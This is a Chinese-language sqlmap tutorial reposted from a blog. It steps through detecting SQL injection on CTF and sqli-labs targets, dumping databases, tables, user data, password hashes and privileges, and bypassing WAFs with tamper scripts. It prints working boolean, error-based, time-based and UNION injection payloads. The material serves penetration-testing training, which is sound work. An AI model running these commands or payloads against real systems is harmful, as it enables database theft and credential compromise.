sqlmap使用

sqlmap使用

在这里插入图片描述

SQLmap

一、目标
1、指定url
2、指定文件(批量检测)
3、指定数据库/表/字段
4、post请求
5、cookie注入
二、脱库
1、获取数据库
2、获取表
3、获取字段
4、获取字段类型
5、获取值(数据)
6、获取用户
7、获取主机名
8、搜索库、表、字段。
9、正在执行的SQL语句
三、WAF绕过
三、其他

SQLmap是一款「自动化」SQL注入工具,kali自带。路径 /usr/share/sqlmap

打开终端,输入sqlmap,出现以下界面,就说明SQLmap「可用」。

在这里插入图片描述

SQLmap(常规)使用步骤

1、检测「注入点」

1
sqlmap -u 'http://xx/?id=1'

image-20250604205545641

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
python sqlmap.py -u "https://5cb2987f-1428-4f5b-8265-537677d52fd0.challenge.ctf.show/?id=1"
___
__H__
___ ___[)]_____ ___ ___ {1.8.8.1#dev}
|_ -| . ["] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 20:52:37 /2025-06-04/

[20:52:38] [INFO] testing connection to the target URL
[20:52:38] [INFO] checking if the target is protected by some kind of WAF/IPS
[20:52:38] [INFO] testing if the target URL content is stable
[20:52:39] [INFO] target URL content is stable
[20:52:39] [INFO] testing if GET parameter 'id' is dynamic
[20:52:39] [INFO] GET parameter 'id' appears to be dynamic
[20:52:39] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[20:52:39] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[20:52:39] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[20:52:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[20:52:45] [WARNING] reflective value(s) found and filtering out
[20:52:45] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Your")
[20:52:45] [INFO] testing 'Generic inline queries'
[20:52:45] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[20:52:45] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[20:52:45] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[20:52:45] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[20:52:46] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[20:52:46] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[20:52:46] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[20:52:46] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[20:52:46] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[20:52:46] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[20:52:46] [INFO] testing 'MySQL inline queries'
[20:52:46] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[20:52:46] [WARNING] time-based comparison requires larger statistical model, please wait..... (done)
[20:52:47] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[20:52:47] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[20:52:47] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[20:52:47] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[20:52:47] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[20:52:47] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[20:52:58] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[20:52:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:52:58] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[20:52:58] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[20:52:58] [INFO] target URL appears to have 3 columns in query
[20:52:59] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 4354=4354 AND 'STvH'='STvH

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1' AND (SELECT 1854 FROM(SELECT COUNT(*),CONCAT(0x71766a7671,(SELECT (ELT(1854=1854,1))),0x717a7a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'ctuL'='ctuL

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 9178 FROM (SELECT(SLEEP(5)))Fzsc) AND 'LxaM'='LxaM

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-3965' UNION ALL SELECT NULL,NULL,CONCAT(0x71766a7671,0x594b69496263796e4a506e6f736b4351597a4359456c63447976706c5065786d6e52554d486e514d,0x717a7a6b71)-- -
---
[20:53:01] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.20.1, PHP 5.6.40
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[20:53:01] [INFO] fetched data logged to text files under 'C:\Users\csdd\AppData\Local\sqlmap\output\5cb2987f-1428-4f5b-8265-537677d52fd0.challenge.ctf.show'
[20:53:01] [WARNING] your sqlmap version is outdated

可以看到

注入点位置(Injection Point)

1
Parameter: id (GET)

这是指 URL 中的 id 参数,即这个请求:

1
http://5b96b31c-3596-4923-8400-bb20e08d1c5d.challenge.ctf.show/?id=1

目标数据库类型:MySQL ≥ 5.0(MariaDB fork)

Web 技术栈:PHP 5.6.40 + Nginx 1.20.1

注入类型及 Payload

image-20250604205804538

✅ Boolean-based Blind 注入

  • 描述:通过布尔判断页面差异

  • Payload

    1
    id=1' AND 4354=4354 AND 'STvH'='STvH

✅ Error-based 报错注入

  • 描述:利用 MySQL 报错信息提取数据

  • Payload

    1
    id=1' AND (SELECT 1854 FROM(SELECT COUNT(*),CONCAT(0x71766a7671,(SELECT (ELT(1854=1854,1))),0x717a7a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'ctuL'='ctuL

✅ Time-based Blind 时间盲注

  • 描述:通过延时判断真假

  • Payload

    1
    id=1' AND (SELECT 9178 FROM (SELECT(SLEEP(5)))Fzsc) AND 'LxaM'='LxaM

✅ UNION Query 联合查询注入

  • 描述:通过 UNION SELECT 合并结果

  • 列数:3

  • Payload

    1
    id=-3965' UNION ALL SELECT NULL,NULL,CONCAT(0x71766a7671,0x594b69496263796e4a506e6f736b4351597a4359456c63447976706c5065786d6e52554d486e514d,0x717a7a6b71)-- -

中间那段是 HEX 编码后的字符串(标识符,SQLMap用来检测成功注入)

2.查看所有「数据库」

sqlmap -u ‘http://xx/?id=1‘ –dbs

image-20250604210104732

3、查看当前使用的数据库

1
sqlmap -u 'http://xx/?id=1' --current-db

image-20250604210155050

image-20250604210202885

4、查看「数据表」

1
sqlmap -u 'http://xx/?id=1' -D 'security' --tables

image-20250604210333879

5、查看「字段」

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns

image-20250604211114604

6、查看「数据」

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump

image-20250604210551634

一、目标

检测「注入点」前,需要指定需要检测的「对象」。

1、指定url

-u 参数,指定需要检测的url,单/双引号包裹。中间如果有提示,就输入y。

提示:SQLmap不能直接「扫描」网站漏洞,先用其他扫描工具扫出注入点,再用SQLmap验证并「利用」注入点。

1
sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1'

扫描完成后,告诉我们存在的注入类型和使用的数据库及版本。

在这里插入图片描述

2、指定文件(批量检测)

准备一个「文件」,写上需要检测的多个url,一行一个。

在这里插入图片描述

-m 指定文件,可以「批量扫描」文件中的url。

1
sqlmap -m urls.txt

在这里插入图片描述

逐个扫描url,需要确认就按y。

在这里插入图片描述

扫描完一个,就会提示存在的注入点。

在这里插入图片描述

然后再按y扫描下一个url。

在这里插入图片描述

3、指定数据库/表/字段

-D 指定目标「数据库」,单/双引号包裹,常配合其他参数使用。

-T 指定目标「表」,单/双引号包裹,常配合其他参数使用。

-C 指定目标「字段」,单/双引号包裹,常配合其他参数使用。

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username' --dump

4、post请求

检测「post请求」的注入点,使用BP等工具「抓包」,将http请求内容保存到txt文件中。

-r 指定需要检测的文件,SQLmap会通过post请求方式检测目标。

1
sqlmap -r bp.txt

5、cookie注入

--cookie 指定cookie的值,单/双引号包裹。

1
sqlmap -u "http://xx?id=x" --cookie 'cookie'

二、脱库

获取所有内容

1
sqlmap -u 'http://xx/?id=1' -a

-a 就是 all 的意思,获取所有能获取的内容,会消耗很长时间。

在这里插入图片描述

1、获取数据库

--dbs 获取数据库

1.1、获取数据库版本

1
sqlmap -u 'http://xx/?id=1' -b

在这里插入图片描述

最后面显示数据库的版本,这里检测的版本是 5.7.26。

1.2、获取当前使用的数据库

1
sqlmap -u 'http://xx/?id=1' --current-db

在这里插入图片描述

在最后面显示当前使用的数据库的名字是 security。

在这里插入图片描述

1.3、获取所有数据库

1
sqlmap -u 'http://xx/?id=1' --dbs

在这里插入图片描述

最后面显示所有数据库的名字。

在这里插入图片描述

2、获取表

--tables 获取表

2.1、获取表,可以指定数据库

1
sqlmap -u 'http://xx/?id=1' -D 'security' --tables

在这里插入图片描述

最后面显示数据库(security)里所有的表名。

在这里插入图片描述

2.2、同时获取多个库的表名,库名用逗号分隔。

1
sqlmap -u 'http://xx/?id=1' -D 'security,sys' --tables

在这里插入图片描述

2.3、不指定数据库,默认获取数据库中所有的表。

1
sqlmap -u 'http://xx/?id=1' --tables

在这里插入图片描述
最后面显示每个数据库下都有哪些表。

在这里插入图片描述

3、获取字段

--columns 参数用来获取字段。

3.1、获取字段,可以指定库和表

提示:只指定库名但不指定表名会报错。

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns

在这里插入图片描述

最后面显示表(users)中的所有字段。在这里插入图片描述

3.2、不指定表名,默认获取当前数据库中所有表的字段。

1
sqlmap -u 'http://xx/?id=1' --columns

在这里插入图片描述

4、获取字段类型

--schema 获取字段类型,可以指定库或指定表。不指定则获取数据库中所有字段的类型。

1
sqlmap -u 'http://xx/?id=1' -D 'security' --schema

最后面显示每个表的字段类型。

在这里插入图片描述

5、获取值(数据)

--dump 获取值,也就是表中的数据。可以指定具体的库、表、字段。

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username,password' --dump

在这里插入图片描述
获取指定库中所有表的数据。

1
sqlmap -u 'http://xx/?id=1' -D 'security' --dump

在这里插入图片描述

默认获取表中的所有数据,可以使用 --start --stop 指定开始和结束的行,只获取一部分数据。

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --start 1 --stop 5  --dump

在这里插入图片描述

6、获取用户

6.1、获取当前登录数据库的用户

1
sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --current-user 

在这里插入图片描述

最后面显示当前登录数据库的用户是 root@localhost。

在这里插入图片描述

6.2、获取所有用户

--users 获取数据库的所有用户名。

1
sqlmap -u 'http://xx/?id=1' --users

在这里插入图片描述

最后面显示数据库的所有用户名。

在这里插入图片描述

6.3、获取用户密码

--passwords 获取所有数据库用户的密码(哈希值)。

数据库不存储明文密码,只会将密码加密后,存储密码的哈希值,所以这里只能查出来哈希值;当然,你也可以借助工具把它们解析成明文。

在这里插入图片描述

最后面显示数据库用户名对应的密码(哈希值)。

在这里插入图片描述

6.4、获取用户权限

--privileges 查看每个数据库用户都有哪些权限。

1
sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --privileges

在这里插入图片描述

最后面显示每个数据库用户所拥有的权限。这里root的权限最多,很明显它就是数据库的管理员账号。

在这里插入图片描述

6.5、判断当前用户是不是管理员

--is-dba 判断当前登录的用户是不是数据库的管理员账号。

1
sqlmap -u 'http://xx/?id=1' --is-dba

在这里插入图片描述

如果是管理员,就在最后面显示 true。

在这里插入图片描述

7、获取主机名

--hostname 获取服务器主机名。

1
sqlmap -u 'http://xx/?id=1' --hostname

在这里插入图片描述

最后面显示服务器的主机名是 DESKTOP。

在这里插入图片描述

8、搜索库、表、字段。

--search 搜索数据库中是否存在指定库/表/字段,需要指定库名/表名/字段名。

搜索数据库中有没有 security 这个数据库:

1
sqlmap -u 'http://xx/?id=1' -D 'security' --search

在这里插入图片描述

需要手动选择模糊匹配(1)还是完全匹配(2),而后返回匹配的结果。

在这里插入图片描述

也可以搜索表

1
sqlmap -u 'http://xxx/?id=1' -T 'users' --search

或者搜索字段

1
sqlmap -u 'http://xx/?id=1' -C 'username' --search

9、正在执行的SQL语句

--statements 获取数据库中正在执行的SQL语句。

1
sqlmap -u 'http://xx/?id=1' --statements

在这里插入图片描述

最后面显示正在执行的SQL语句。

在这里插入图片描述

三、WAF绕过

--tamper 指定绕过脚本,绕过WAF或ids等。

1
sqlmap -u 'http://xx/?id=1' --tamper 'space2comment.py'

在这里插入图片描述

SQLmap内置了很多绕过脚本,在 /usr/share/sqlmap/tamper/ 目录下:

在这里插入图片描述

脚本按照用途命名,比如 space2comment.py 是指,用/**/代替空格。

当然,你也可以根据内置脚本格式,自己定义绕过脚本。

三、其他
–batch (默认确认)不再询问是否确认。

–method=GET 指定请求方式(GET/POST)

–random-agent 随机切换UA(User-Agent)

–user-agent ‘ ‘ 使用自定义的UA(User-Agent)

–referer ‘ ‘ 使用自定义的 referer

–proxy=”127.0.0.1:8080” 指定代理

–threads 10 设置线程数,最高10

–level=1 执行测试的等级(1-5,默认为1,常用3)

–risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。

原文链接SQLmap使用教程图文教程(非常详细)从零基础入门到精通,看完这一篇就够了。-CSDN博客

本人没做修改